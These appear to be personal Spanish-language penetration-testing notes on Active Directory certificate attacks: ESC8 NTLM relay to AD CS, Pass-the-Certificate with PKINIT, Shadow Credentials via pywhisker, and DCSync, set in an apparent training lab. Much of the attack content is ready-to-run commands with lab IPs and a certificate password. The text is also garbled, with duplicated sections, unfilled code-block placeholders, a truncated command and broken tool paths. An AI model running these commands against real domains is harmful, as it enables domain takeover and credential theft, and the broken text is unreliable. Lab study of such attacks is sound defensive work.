Pass-the-Certificate (PtC) y PKINIT

🌐 Contexto

En Active Directory, la autenticación normal se hace con Kerberos usando contraseñas o hashes (NTLM, AES, RC4).
Sin embargo, existe una extensión de Kerberos llamada PKINIT (Public Key Cryptography for Initial Authentication) que permite usar certificados digitales X.509 en lugar de contraseñas.

Esto es muy útil para entornos con Smart Cards, pero también abre la puerta a ataques.
El más famoso es Pass-the-Certificate (PtC): si un atacante consigue un certificado válido de una cuenta o máquina, puede autenticarse contra el KDC (Domain Controller) y obtener tickets Kerberos (TGTs), igual que si tuviera la contraseña.


🎯 1. Ataque ESC8 – NTLM Relay contra AD CS

➡️ ¿Qué significa?
Windows todavía usa NTLM en muchos servicios. El problema de NTLM es que no valida que el servidor al que se conecta el cliente sea legítimo.
Esto permite un ataque llamado NTLM Relay: el atacante intercepta la autenticación de la víctima y la reenvía a otro servicio para autenticarse en su nombre, sin necesidad de conocer la contraseña ni crackear el hash.

En el caso de AD CS, si podemos hacer un NTLM relay hacia el servicio de Web Enrollment (/certsrv), podemos emitirnos certificados válidos para cualquier cuenta que caiga en la trampa (ejemplo: un Domain Controller).
{256494F6-E410-42AC-B642-9540A1C74614}.png
Flujo del ataque:

  1. Atacante monta un relay contra AD CS.

  2. Obliga a un DC o a un usuario privilegiado a autenticarse contra él (ej. usando el printerbug).

  3. El relay envía esas credenciales a AD CS y obtiene un certificado a nombre de la víctima.

  4. Ese certificado puede usarse para autenticarse como la víctima y obtener un TGT.

Ejemplo de comandos:
Montar relay

python3 "/usr/local/bin/ntlmrelayx.pyntlmrelayx.py" -t http://<IP_CA_server/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication 

Importante de que pyopenssl sea de este versionpip install pyopenssl==23.2.0

Forzar que DC01 se autentique contra nosotros (printerbug)

 nxc smb <IP_DC0> -u '<usuario>' -p '<contraseña>' -M coerce_plus -o LISTENER=<IP_atacante> --verbose

➡️ Resultado: obtenemos un archivo .pfx con un certificado válido.
Pasted image 20250902205714.png


🎯 2. Obtener un TGT con el Certificado

Una vez con el certificado en .pfx, podemos usar la herramienta PKINITtools para solicitar un TGT.

python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip 10.129.234.109 'DOMINIO.LOCAL/DC01
![{0F0BDFAA-6171-4599-8130-1BA1A1E0B2D3}.png](/img/user/Gorosolea/Imagenes/%7B0F0BDFAA-6171-4599-8130-1BA1A1E0B2D3%7D.png)
- El TGT se guarda en un archivo `.ccache`.
    
- Ese ticket funciona igual que si hubiéramos hecho un **Pass-the-Ticket (PtT)** con Kerberos.
    

Ejemplo: ejecutar un **DCSync** con ese ticket:

![Pasted image 20250902191921.png](/img/user/Gorosolea/Imagenes/Pasted%20image%2020250902191921.png)
➡️ Ahora tenemos **hashes de NTLM** del Administrador, usando solo un certificado.

Podemos conectar con el Hash de administrator como explico en Pasar el hash (PtH)

---

## 🎯 3. Shadow Credentials

## ¿Qué son las _Shadow Credentials_?

- En Active Directory, cada objeto **usuario** y **máquina** puede tener un atributo llamado `msDS-KeyCredentialLink`.
    
- Este atributo fue introducido con **Windows Hello for Business** (WHfB) y **Device Registration Service**.
    
- Contiene una lista de claves públicas (KeyCredentials) que el usuario puede usar para autenticarse contra el KDC (Key Distribution Center) mediante **PKINIT** (Kerberos con certificados).
    

👉 En pocas palabras: si puedes añadir **tu propia clave pública** en el atributo de otra cuenta, esa cuenta confiará en tu certificado privado asociado → **suplantación total de identidad**.

## ⚔️ Flujo de ataque

1. **Requisitos previos**
    
    - Necesitas un usuario con permisos de _escritura_ sobre el atributo `msDS-KeyCredentialLink` del objetivo (esto es lo que se suele conseguir tras comprometer cuentas con delegación indebida, ACL mal configuradas, o abuso de `GenericWrite`/`GenericAll` en AD).
        
2. **Inyección de clave**
    
    - Herramientas como `pywhisker` permiten generar un par de claves (pública/privada) y escribir la pública en el `msDS-KeyCredentialLink` del usuario víctima.
``` bash
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker


python3 -m venv venv
source venv/bin/activate

pip install -r requirements.txt

python pywhisker.py --help

pywhisker --dc-ip 10.129.234.109 -d DOMINIO.LOCAL -u atacante -p 'pass' --target victima --action add

Pasted image 20250831184620.png

n the output above, we can see that a PFX (PKCS12) file was created (YgcqaGnS.pfx ), and the password is shown. We will use this file with gettgtpkinit.py to acquire a TGT as the victim:

git https://github.com/dirkjanm/PKINITtools
cd gettgtpkinit

# 3. Instalar dependencias si las hay
pip install -r requirements.txt

# 4. Probar
python3 gettgtpkinit.py -h
alias pywhisk='python3 ~/pywhisker/pywhisker.py'
alias gettgt='python3 ~/gettgtpkinit/gettgtpkinit.py'
python3 gettgtpkinit.py \
  -cert-pfx ../VqUL5PJe.pfx \
  -pfx-pass 'OM6Lxok3BaoGkwxj6jOs' \
  -dc-ip 10.129.234.174 \
  INLANEFREIGHT.LOCAL/jpinkman \
  /tmp/jpinkman.ccache
export KRB5CCNAME=/tmp/jpinkman.ccache
klist

{40568626-2951-43CD-8208-D02F8EED8469}.png

Añadimos

[libdefaults]
  default_realm = INLANEFREIGHT.LOCAL
  dns_lookup_realm = false
  dns_lookup_kdc = false

[realms]
  INLANEFREIGHT.LOCAL = {
    kdc = dc01.inlanefreight.local
    admin_server = dc01.inlanefreight.local
  }

[domain_realm]
  .inlanefreight.local = INLANEFREIGHT.LOCAL
  inlanefreight.local = INLANEFREIGHT.LOCAL

Y ya estarimos dentro
{974DE749-63CB-4B5A-B324-73933FFE53F1}.png


🎯 4. Caso Especial – Cuando PKINIT no está disponible

En algunos entornos, el KDC no permite autenticación PKINIT con ciertos certificados.
Eso no significa que no sirvan: existen herramientas como PassTheCert que permiten usar certificados directamente contra LDAPS para:


📝 Resumen claro

![{0F0BDFAA-6171-4599-8130-1BA1A1E0B2D3}.png](/img/user/Gorosolea/Imagenes/%7B0F0BDFAA-6171-4599-8130-1BA1A1E0B2D3%7D.png)
- El TGT se guarda en un archivo `.ccache`.
    
- Ese ticket funciona igual que si hubiéramos hecho un **Pass-the-Ticket (PtT)** con Kerberos.
    

Ejemplo: ejecutar un **DCSync** con ese ticket:

![Pasted image 20250902191921.png](/img/user/Gorosolea/Imagenes/Pasted%20image%2020250902191921.png)
➡️ Ahora tenemos **hashes de NTLM** del Administrador, usando solo un certificado.

Podemos conectar con el Hash de administrator como explico en [[Pasar el hash (PtH)]]

---

## 🎯 3. Shadow Credentials

## ¿Qué son las _Shadow Credentials_?

- En Active Directory, cada objeto **usuario** y **máquina** puede tener un atributo llamado `msDS-KeyCredentialLink`.
    
- Este atributo fue introducido con **Windows Hello for Business** (WHfB) y **Device Registration Service**.
    
- Contiene una lista de claves públicas (KeyCredentials) que el usuario puede usar para autenticarse contra el KDC (Key Distribution Center) mediante **PKINIT** (Kerberos con certificados).
    

👉 En pocas palabras: si puedes añadir **tu propia clave pública** en el atributo de otra cuenta, esa cuenta confiará en tu certificado privado asociado → **suplantación total de identidad**.

## ⚔️ Flujo de ataque

1. **Requisitos previos**
    
    - Necesitas un usuario con permisos de _escritura_ sobre el atributo `msDS-KeyCredentialLink` del objetivo (esto es lo que se suele conseguir tras comprometer cuentas con delegación indebida, ACL mal configuradas, o abuso de `GenericWrite`/`GenericAll` en AD).
        
2. **Inyección de clave**
    
    - Herramientas como `pywhisker` permiten generar un par de claves (pública/privada) y escribir la pública en el `msDS-KeyCredentialLink` del usuario víctima.
{{CODE_BLOCK_3}}


{{CODE_BLOCK_4}}

![Pasted image 20250831184620.png](/img/user/Gorosolea/Imagenes/Pasted%20image%2020250831184620.png)

n the output above, we can see that a `PFX (PKCS12)` file was created (`YgcqaGnS.pfx
`), and the password is shown. We will use this file with `gettgtpkinit.py` to acquire a TGT as the victim:

{{CODE_BLOCK_5}}
{{CODE_BLOCK_6}}

{{CODE_BLOCK_7}}
{{CODE_BLOCK_8}}
![{40568626-2951-43CD-8208-D02F8EED8469}.png](/img/user/Gorosolea/Imagenes/%7B40568626-2951-43CD-8208-D02F8EED8469%7D.png)

Añadimos
{{CODE_BLOCK_9}}


Y ya estarimos dentro 
![{974DE749-63CB-4B5A-B324-73933FFE53F1}.png](/img/user/Gorosolea/Imagenes/%7B974DE749-63CB-4B5A-B324-73933FFE53F1%7D.png)

---

## 🎯 4. Caso Especial – Cuando PKINIT no está disponible

En algunos entornos, el KDC no permite autenticación PKINIT con ciertos certificados.  
Eso no significa que no sirvan: existen herramientas como **PassTheCert** que permiten usar certificados directamente contra **LDAPS** para:

- Resetear contraseñas.
    
- Delegar permisos.
    
- Otorgar privilegios de **DCSync**.
    

---

## 📝 Resumen claro

- **Pass-the-Certificate (PtC)**: usar certificados robados para obtener tickets Kerberos.
    
- **ESC8 (NTLM relay en AD CS)**: consigue certificados de cuentas privilegiadas (ej. Domain Controllers).
    
- **Shadow Credentials**: modificar `msDS-KeyCredentialLink` de un usuario y generar un certificado válido para él.
    
- Con el certificado se obtiene un **TGT** y a partir de ahí → **movimiento lateral y persistencia** igual que con hashes o tickets.
    
- Si PKINIT no funciona, aún se puede abusar de los certificados vía **LDAPS (PassTheCert)**.